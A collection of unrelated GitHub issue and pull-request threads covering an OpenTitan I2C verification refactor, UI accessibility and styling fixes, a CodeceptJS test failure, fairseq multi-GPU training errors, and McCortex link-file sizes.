decisions around the way we model TLM transactions using the i2c_item.
The major flaw this change initally set out to fix was that scoreboard
expectations were being formed by passing the generated stimulus from the
virtual sequences directly to the model/scoreboard. This is against UVM design
patterns, and severely limits the ability to predict behaviour when the effect
of the driver are fundamentally bypassed and unpredictable. In I2C, the receiver
in any transaction can alter the progression of the traffic by choosing to ACK
or to stretch SCL. In our I2C environment, where both endpoints are
operated/tested as both Controllers and Targets, this means any reactivity
in the Agent cannot be predictable, and sequences are therefore reduced to only
a very small subset of behaviour. This problem was partially circumvented by a
slew of configuration variables used to hold bits of state and signal events to other
components, but this is unclean and inconvenient.
To fix this problem, another intermediate issue needed to be addressed. The
i2c_item was grossly overloaded in the way it was used to represent different
things to different people across the testbench and agent. For read transfers,
the seq_item was used to capture the entire transfer (data_q[$] held all the
bytes of data), but for writes we would capture one item per entry in the
ACQFIFO CSR to signal an I2C transaction was taking place. Different fields in
the item were used for each use-case, and some were re-used with different
meanings for each case.

There is also a third use of the i2c_item, again using different fields (with
some overlap), which is to control the i2c_driver in discrete steps depending
on the value of a control enum variable 'drv_type'. This use case remains, but
should definitely be removed in the future.
To model at a transfer level, new fields 'rstart_front' and 'rstart_back' were
added to the item, which indicate if the start or the end of the transaction was
signalled using RSTARTS instead of STARTs and STOPs. The previous 'rstart' field
would be ambiguous when used for modelling at a transfer-level.

Additionally, this commit also importantly changes the way mis-addressed
transfers are captured and checked. Previously, the i2c_agent contained copies
of the DUT's configured Target-Mode addresses, and used these to change the way
it captured observations and generated stimulus based on if the address given
was known ahead of time to match the DUT. This is clearly a badly-designed
dependence between the modules, and by removing this pre-filtering of
transaction items, we now generate and check items which do not match the
targets address. These items are effectively the I2C-Controller shouting into
the void, which is a valid i2c transfer in terms of signalling, but in a single
controller, single target system, a wholly uninteresting one.
In short, this commit achieves the following:

Reworks the i2c_item to model full 'i2c_transfers', and updates the
i2c_monitor to generate seq_items at this level of abstraction, for both reads
and writes.
Change the reference_model/scoreboard to gather observations in this new
format from the monitor only (connections to the vseqr are now removed)
The i2c_monitor now generates valid transfer items for mis-addressed stimulus,
easily observed by checking if the ITEM_T.addr_ack field is equal to i2c_pkg::NACK.
Replaces the stimulus generation routines in the i2c_base_vseq with new,
concise versions that no longer need to generate transaction items to send to
the model/scoreboard. The previous code here was verbose, unclear and
difficult to modify.

create_txn()/fetch_txn() now replaced by a single call to
generate_agent_controller_stimulus(), which makes better use of types,
targeted subroutines and randomization to achieve the same goal in a clear and
simpler way.

Renames variables across the env/agent cfgs, moved variables from the
class-scope into task/function scope where possible, and used user-defined
types where appropriate to aid readability.

TODO : Fixup the hrst_vseq

So far, I've gone through all but the last commit. Some minor notes. It's probably worth factoring those commits into a parallel PR and just get those changes merged, without gating them on review of the final commit.

The latest push removes the 12 commits at the beginning of this PR that were moved to https://github.com/lowRISC/opentitan/pull/23919, and rebases on top of those changes now it has been merged. Review feedback will be addressed in further pushes.

I've marked this ready for review, but it's not yet ready for merging as there are a couple more regression failures I need to cleanup first.
@rswarbrick when you have a moment, would you mind checking the changes based on your feedback? Thanks

The latest push addresses review comments, and fixes up a couple of bugs I noticed in the meantime. Hopefully it should be ready to merge at this point.
This change has affected the wider block level regression results, as many directed tests still use the old monitor abstractions. I will be fixing them up in follow up PRs to this one.
The same can be said for the chip-level I2C smoketests (chip_sw_i2c_{host,device}_tx_rx), which these changes also break. I have pushed a final commit which temporarily removes them from the smoketest regression. There will shortly be another PR to re-introduce them.

This change has affected the wider block level regression results, as many directed tests still use the old monitor abstractions. I will be fixing them up in follow up PRs to this one. The same can be said for the chip-level I2C smoketests (chip_sw_i2c_{host,device}_tx_rx), which these changes also break. To save this PR from becoming any larger, I have pushed a final commit which temporarily removes them from the smoketest regression. There will shortly be another PR to fix and re-introduce them.

This PR also broke the I2C component of the power_virus TLT, so I have temporarily removed the I2C stimulus from running during the max_power_epoch when running in DV. This change, like the one described above, is only temporary, and will be reverted once the appropriate changes to further fixup DV have landed. This PR is already big enough.
#23959 will re-enable the TLT-components mentioned above by reverting the two commits that disable them. This PR depends on a few other to land, so there might be a short delay. I've not tracked this point in an issue, as hopefully it will be very transient.


[Detail View Subtitle] Insufficient Color Contrast

Issue Description

Issue: the subtitle gray text does not pass the accessibility WCAG AA color contrast ratio:

contrast between background (#ffffff) and Subtext text color (#BCBFC0).
Issue Type

[ ] New Feature
[x] Enhancement
[ ] Bug
[ ] Other

Expected Behavior

Current Behavior

The subtitle gray color of the detail view does not pass the WCAG AA contrast ratio.

Steps to Reproduce

Environment

Component Version:
Browser Name and Version: Chrome
Operating System and version (desktop or mobile): OS desktop

Will be resolved by PR #297


Add 'Navbars' templates

Is your feature request related to a problem? Please describe.
Bootstrap has a number of free 'navbars' templates which can be added to the bootpack template directory.
Describe the solution you'd like
Add the current templates from here: https://getbootstrap.com/docs/4.3/examples/#navbars

Hi, Could I help with this issue?

Hello @charlygg, thanks for your interest! Yes, feel free to work on this issue.


modify done button and toolbar frame to support iPhone X

safeAreaInsets adjusts for the status bar, so when the user taps and the status bar is hidden you can see the done button briefly jump upwards. This can be fixed by checking [UIApplication sharedApplication].isStatusBarHidden. You can test this on phones other than iPhone X.


Improved emote scaling in the CLR overlay

Pull request checklist:

[x] CHANGELOG.md was updated, if applicable
[x] Documentation in docs/ or install-docs/ was updated, if applicable

image-rendering was changed to pixelated in #833 but I think that auto shows better results:
Current:

Updated:

I originally went with image-rendering: pixelated because of low-res emotes looking worse (in my opinion) when they are scaled up:

I changed it so that it uses pixelated when the emote is shorter than 100px and auto otherwise.
But I found another problem related to pixel art emotes FeelsDankMan
auto (after update):

pixelated (current):


Add class to trait replacements

Relates to: https://github.com/silverstripe/silverstripe-upgrader/pull/157

Looks like the branch got created on the silverstripe remote, rather than the os one.

Remember to delete from packagist after merging

Created https://github.com/silverstripe/silverstripe-framework/pull/8807 instead.


Node version 12 support

What are you trying to achieve?
Run tests on node v12.6.0
What do you get instead?
Extra text (Runner: runTest) from stdout.

Provide console output if related. Use --verbose mode for more details.

  4) CodeceptJS session
       should run with 3 sessions:

      check steps execution order
      + expected - actual

       [
      -  "Runner: runTest "
         "I do \"writing\""
         "davert: I do \"reading\""
      -  "Runner: runTest "
         "I do \"playing\""
         "john: I do \"crying\""
         "davert: I do \"smiling\""
      -  "Runner: runTest "
         "I do \"laughing\""
         "mike: I do \"spying\""
         "john: I do \"lying\""
      -  "Runner: runTest "
         "I do \"waving\""
       ]

      at test/runner/session_test.js:24:19
      at ChildProcess.exithandler (child_process.js:288:7)
      at maybeClose (internal/child_process.js:1021:16)
      at Process.ChildProcess._handle.onexit (internal/child_process.js:283:5)

Provide test source code if related
session_test.js:16

  it('should run with 3 sessions', (done) => {
    exec(`${codecept_run} --steps --grep "@1"`, (err, stdout, stderr) => {
      const lines = stdout.match(/\S.+/g);

      const list = grepLines(lines, 'basic session @1');
      list.pop();
      testStatus = list.pop();
      testStatus.should.include('OK');
      list.should.eql([
        'I do "writing"',
        'davert: I do "reading"',
        'I do "playing"',
        'john: I do "crying"',
        'davert: I do "smiling"',
        'I do "laughing"',
        'mike: I do "spying"',
        'john: I do "lying"',
        'I do "waving"',
      ], 'check steps execution order');
      done();
    });
  });

Details

CodeceptJS version: 2.2.0
NodeJS Version: 12.6.0
Operating System: Linux

While debugging I found this response in stdout.


Live demo doesn't send registration emails

I'm trying to register by email on the live demo app:
http://ng-token-auth-demo.herokuapp.com/
but I always get:

Is it working for anyone?

I have also got this issue out of the box while trying the demo! It's making me hesitant to use the package


Export buildUrl in the global angular namespace

buildUrl could be used outside of $http too, for example if the user needs
to create urls for APIs that are not natively supported in angular (EventSource for ex.)
potentionally if it's not hidden in a closure inside $http,
it might be used in other parts of angular too

+1

Is there a solution for this in angular 1.3 ?
https://github.com/angular/angular.js/issues/7429

I'm also waiting for this one, has it been included in latest angular yet?

@parliament718 ;
As far as I know (from looking at the source etc), this is not in 1.3 but there may be a solution coming in 1.4, for now I am manually copying this changeset in to my copy of angular
https://github.com/angular/angular.js/commit/f64afc71f2329f3084918cd532b79b6fca077e21

:+1:

Docs for 1.4 found here.
https://docs.angularjs.org/api/ng/service/$httpParamSerializer


Training a Multilingual system on multi-gpus

❓ Questions and Help
What is your question?
Hello!
I'm trying to train a multilingual model using a dataset with 15 language-pairs and 500M sentence pairs. I'm using a machine with 4 Tesla T4. When I try to run the training process I get an error.  It is a memory issue that I do not know how to solve. I have tried to use different dataset implementations (lazy and mmap). I'm using master version of fairseq.
My question is : What is the right way of training a multilingual model on multiple gpus?
Code
Preprocess for each language pair:
        fairseq-preprocess \
        --source-lang $source_language \
        --target-lang $target_language \
        --trainpref train \
        --validpref valid \
        --joined-dictionary \
        --tgtdict vocab_target \
        --destdir ${setup_directory}/data-bin \
        --workers $num_jobs

Train:
fairseq-train \
        -- $data_bin \
        --ddp-backend=no_c10d \
        --save-dir ${setup_directory}/shared-model-checkpoints \
        --save-interval-updates $save_freq \
        --task translation_multi_simple_epoch \
        --arch transformer \
        --lang-pairs $lang_pairs \
        --lang-dict $lang_list \
        --sampling-method "$batch_sampling_method" \
        $sampling_temperature \
        --optimizer adam \
        --adam-betas '(0.9, 0.98)' \
        --clip-norm $clip_norm  \
        --lr $learn_rate \
        --lr-scheduler inverse_sqrt \
        --warmup-updates $lr_warmup \
        --warmup-init-lr '1e-07' \
        --dropout $dropout \
        --criterion $criterion \
        --label-smoothing $label_smoothing \
        --share-decoder-input-output-embed \
        --max-epoch $epochs \
        --patience $early_stopping \
        --keep-last-epochs $keep_last_checkpoints \
        --keep-best-checkpoints $keep_best_checkpoints \
        --max-tokens 4096 \
        --fp16 \
        --num-workers $num_jobs \
        --fix-batches-to-gpus

Log
-- Process 0 terminated with the following error:
Traceback (most recent call last):
  File "/mnt/data/venvs/fairseq/0.10.2/lib/python3.7/site-packages/torch/multiprocessing/spawn.py", line 59, in _wrap
    fn(i, *args)
  File "/mnt/data/tools/fairseq/fairseq/distributed/utils.py", line 326, in distributed_main
    main(cfg, **kwargs)
  File "/mnt/data/tools/fairseq/fairseq_cli/train.py", line 157, in main
    valid_losses, should_stop = train(cfg, trainer, task, epoch_itr)
  File "/home/ubuntu/anaconda3/lib/python3.7/contextlib.py", line 74, in inner
    return func(*args, **kwds)
  File "/mnt/data/tools/fairseq/fairseq_cli/train.py", line 263, in train
    for i, samples in enumerate(progress):
  File "/mnt/data/tools/fairseq/fairseq/logging/progress_bar.py", line 256, in __iter__
    for i, obj in enumerate(self.iterable, start=self.n):
  File "/mnt/data/tools/fairseq/fairseq/data/iterators.py", line 59, in __iter__
    for x in self.iterable:
  File "/mnt/data/tools/fairseq/fairseq/data/iterators.py", line 528, in _chunk_iterator
    for x in itr:
  File "/mnt/data/tools/fairseq/fairseq/data/iterators.py", line 59, in __iter__
    for x in self.iterable:
  File "/mnt/data/venvs/fairseq/0.10.2/lib/python3.7/site-packages/torch/utils/data/dataloader.py", line 355, in __iter__
    return self._get_iterator()
  File "/mnt/data/venvs/fairseq/0.10.2/lib/python3.7/site-packages/torch/utils/data/dataloader.py", line 301, in _get_iterator
    return _MultiProcessingDataLoaderIter(self)
  File "/mnt/data/venvs/fairseq/0.10.2/lib/python3.7/site-packages/torch/utils/data/dataloader.py", line 914, in __init__
    w.start()
  File "/home/ubuntu/anaconda3/lib/python3.7/multiprocessing/process.py", line 112, in start
    self._popen = self._Popen(self)
  File "/home/ubuntu/anaconda3/lib/python3.7/multiprocessing/context.py", line 223, in _Popen
    return _default_context.get_context().Process._Popen(process_obj)
  File "/home/ubuntu/anaconda3/lib/python3.7/multiprocessing/context.py", line 284, in _Popen
    return Popen(process_obj)
  File "/home/ubuntu/anaconda3/lib/python3.7/multiprocessing/popen_spawn_posix.py", line 32, in __init__
    super().__init__(process_obj)
  File "/home/ubuntu/anaconda3/lib/python3.7/multiprocessing/popen_fork.py", line 20, in __init__
    self._launch(process_obj)
  File "/home/ubuntu/anaconda3/lib/python3.7/multiprocessing/popen_spawn_posix.py", line 47, in _launch
    reduction.dump(process_obj, fp)
  File "/home/ubuntu/anaconda3/lib/python3.7/multiprocessing/reduction.py", line 60, in dump
    ForkingPickler(file, protocol).dump(obj)
OverflowError: cannot serialize a bytes object larger than 4 GiB

What have you tried?

--fix-batches-to-gpus
--dataset-impl : lazy and mmap

After solving the previous error, now I have this one:
TrainFairseq/Baseline.baseline: Traceback (most recent call last):TrainFairseq/Baseline.baseline:   File "/mnt/data/venvs/fairseq/0.10.2/bin/fairseq-train", line 33, in <module>TrainFairseq/Baseline.baseline:     sys.exit(load_entry_point('fairseq', 'console_scripts', 'fairseq-train')())TrainFairseq/Baseline.baseline:   File "/mnt/data/tools/fairseq/fairseq_cli/train.py", line 477, in cli_mainTrainFairseq/Baseline.baseline:     distributed_utils.call_main(cfg, main)TrainFairseq/Baseline.baseline:   File "/mnt/data/tools/fairseq/fairseq/distributed/utils.py", line 349, in call_mainTrainFairseq/Baseline.baseline:     join=True,TrainFairseq/Baseline.baseline:   File "/mnt/data/venvs/fairseq/0.10.2/lib/python3.7/site-packages/torch/multiprocessing/spawn.py", line 230, in spawnTrainFairseq/Baseline.baseline:     return start_processes(fn, args, nprocs, join, daemon, start_method='spawn')TrainFairseq/Baseline.baseline:   File "/mnt/data/venvs/fairseq/0.10.2/lib/python3.7/site-packages/torch/multiprocessing/spawn.py", line 188, in start_processesTrainFairseq/Baseline.baseline:     while not context.join():TrainFairseq/Baseline.baseline:   File "/mnt/data/venvs/fairseq/0.10.2/lib/python3.7/site-packages/torch/multiprocessing/spawn.py", line 136, in joinTrainFairseq/Baseline.baseline:     signal_name=nameTrainFairseq/Baseline.baseline: torch.multiprocessing.spawn.ProcessExitedException: process 3 terminated with signal SIGKILL

Hi, were you able to train a multilingual model from scratch?

Hi, yes I was. I just used --num-workers 0 and it worked

Would it be possible for you to share your setup? I don't know how to do the preprocessing of the datasets and the setup of the model.


Links files are really big

My links files are as big as my input fastq files.
I took a look at one of my links files and I saw this:
#   written by Isaac Turner<EMAIL_ADDRESS>#   url: https://github.com/mcveanlab/mccortex
#
# Comment lines begin with a # and are ignored, but must come after the header
# Format is:
#   [kmer] [num_paths] ...(ignored)
#   [FR] [num_juncs] [counts0,counts1,...] [juncs:ACAGT] [seq=... juncpos=... ...]
#
# Columns are separated by a single space.
  Would it be possible to add an argument to thread to suppress the output of these annotations?

Are you threading through a cleaned de bruijn graph? What species and sequencing platform are you using?
seq= is the sequence described by the link and it can be calculated from the kmer graph + junction choices in column 4. It is currently required by the links command when cleaning links. Cleaning links reduces the file size, from which you can strip out the optional columns to further reduce final file size. If I were to re-write several bits of McCortex we could avoid adding seq= lines to links files, but it would be a lot of work for a small payoff in disk space. I can't imagine many people are generating links that they are not going to then clean. Cleaning is important!
Also worth noting is that increases in kmer size will exponentially decreases the number of links.

Right. Thanks.


Bugfix mobile view APIdoc

Would be nice to use the Heading component like on other parts of the site for the page heading instead of that h2
You need to use some JavaScript to implement it and pass icon to it :)
  I am not sure why this is here? :) probably for more spacing. Its better to wrap elements in eaither a
div or something else and then use spacing classes https://v15.vuetifyjs.com/en/framework/spacing
Would be nice to remove all  and  from the project.
For element to go into new line you can check how its done on other pages of this site and for strong
you can use css classes from here https://v15.vuetifyjs.com/en/framework/typography
Would be also nice to use Vuetify UI components so everything looks nice :)
And maybe to put all this data in a JS Array of Objects or even a JSON file.
Because a lot of the markup repeats so you can then render it with VueJs v-for directive